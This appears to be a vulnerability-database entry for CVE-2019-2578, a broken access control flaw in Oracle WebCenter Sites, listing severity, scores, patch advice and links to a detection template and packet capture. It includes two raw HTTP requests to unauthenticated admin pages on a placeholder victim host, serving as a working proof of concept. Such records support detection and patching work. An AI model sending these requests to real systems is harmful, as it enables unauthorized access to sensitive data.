| Title | Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - Broken Access Control |
|---|---|
| Author | leovalcante |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions. |
| Remediation | Apply the necessary patches or updates provided by Oracle to fix the Broken Access Control vulnerability (CVE-2019-2578). |
| CVSS Score | 8.6 |
| EPSS Score | 0.81391 |
| CVE ID | CVE-2019-2578 |
| Tags | cve cve2019 oracle wcs auth-bypass vuln |
Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data.
GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-2578.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-2578.pcap
N/AN/A